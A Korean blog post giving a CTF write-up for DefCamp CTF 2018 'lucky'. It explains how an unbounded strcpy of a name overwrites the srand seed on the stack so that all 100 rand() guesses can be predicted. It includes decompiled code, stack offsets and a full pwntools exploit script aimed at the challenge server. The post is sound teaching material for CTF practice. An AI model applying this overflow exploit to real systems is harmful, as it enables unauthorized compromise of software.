Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
Tags
- 2018
- pwnable
- TUCTF
- Rookiss
- practicalmalwareanalysis
- shellcode
- picoCTF
- shellcraft
- PMA
- ASM
- CANARY
- string
- Leak
- toddler
- Bug
- pwnable.kr
- FSB
- CTF
- pwn
- Reverse
- reversing
- format
- Read
- writeup
- Toddler's Bottle
- pico
- rev
- Bottle
- anti
- BOF
Archives
- Today
- Total
제리의 블로그
DefCamp CTF 2018 lucky Exploit 본문
요약
이 문제는 c 라이브러리의 rand() 함수의 seed 값을 BOF 를 이용하여 덮어씌우고
100개의 rand() 값을 맞추는 문제입니다.
입력받은 name 을 strcpy 로 스택영역에 복사하는데
입력 길이 제한이 없기 때문에 overflow 하여 seed 값으로 이용되는 지역변수를 덮어씌워줍니다.
그 후부터는 seed 값을 알게된 셈이므로
rand() 값을 100번 인증하면 됩니다.
writeup
lucky_exploit# nc 167.99.143.206 65031
Hello, there!
What is your name?
j3rrry
I am glad to know you, j3rrry!
If you guess the next 100 random numbers I shall give you the flag!
What number am I thinking of? [0/100]
123456
Wow that is wrong!
접속을 해보면 name 을 입력받고
그 다음부터 숫자 맞추기를 100번 진행하게 됩니다.
메인 함수를 보면
v34 = rand();
cout << "What number am I thinking of? [" << i << "/100]" << endl;
cin >> v27;
v33 = sub_1928(v27, 0LL, 10LL);
if ( v33 != v34 )
{
cout << "Wow that is wrong!" << endl;
rand() 함수를 이용해서 랜덤값을 뽑아내고 있었습니다.
cout << "What is your name?" << endl;
cin >> name;
strcpy(dest, name);
srand(v35);
근처 srand 함수쪽을 보면
입력받은 name 을 strcpy로 dest에 복사를 하고 있습니다.
char dest; // [sp+260h] [bp-2E0h]@7
char v29; // [sp+2D0h] [bp-270h]@7
char v30; // [sp+2F0h] [bp-250h]@1
__int64 v31; // [sp+3F0h] [bp-150h]@1
unsigned int seed[2]; // [sp+4F8h] [bp-48h]@1
int v33; // [sp+514h] [bp-2Ch]@9
int v34; // [sp+518h] [bp-28h]@9
unsigned int v35; // [sp+51Ch] [bp-24h]@7
seed로 사용되는 지역변수 v35는 dest 로부터 0x2E0-0x24 길이만큼 떨어져 있기 때문에
0x2E0-0x24 만큼 더미값을 넣고 4바이트짜리 seed 값을 지정해주면 됩니다.
from pwn import *
# init
seed = 'BBBB'
c = elf.ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6')
c.srand(u32(seed))
r = remote('167.99.143.206', 65031)
# name
r.recvuntil('?\r\n')
r.sendline('A'*(0x2E0-0x24) + seed)
# rand() 100 times
p = log.progress('')
for i in range(100):
p.status(str(i))
r.recvuntil(']\r\n')
r.sendline(str(c.rand()))
p.success()
# flag
r.interactive()
'CTF > pwnable' 카테고리의 다른 글
picoCTF 2018 buffer overflow 0 (0) | 2018.09.30 |
---|---|
DefCamp CTF 2018 even more lucky Exploit (0) | 2018.09.23 |
Nihwk CTF 2018 pwn6 (Frame Pointer Overflow) (0) | 2018.08.28 |
TJCTF 2018 Online Banking (0) | 2018.08.16 |
mm @ dimigo2018 (0) | 2018.06.27 |
Comments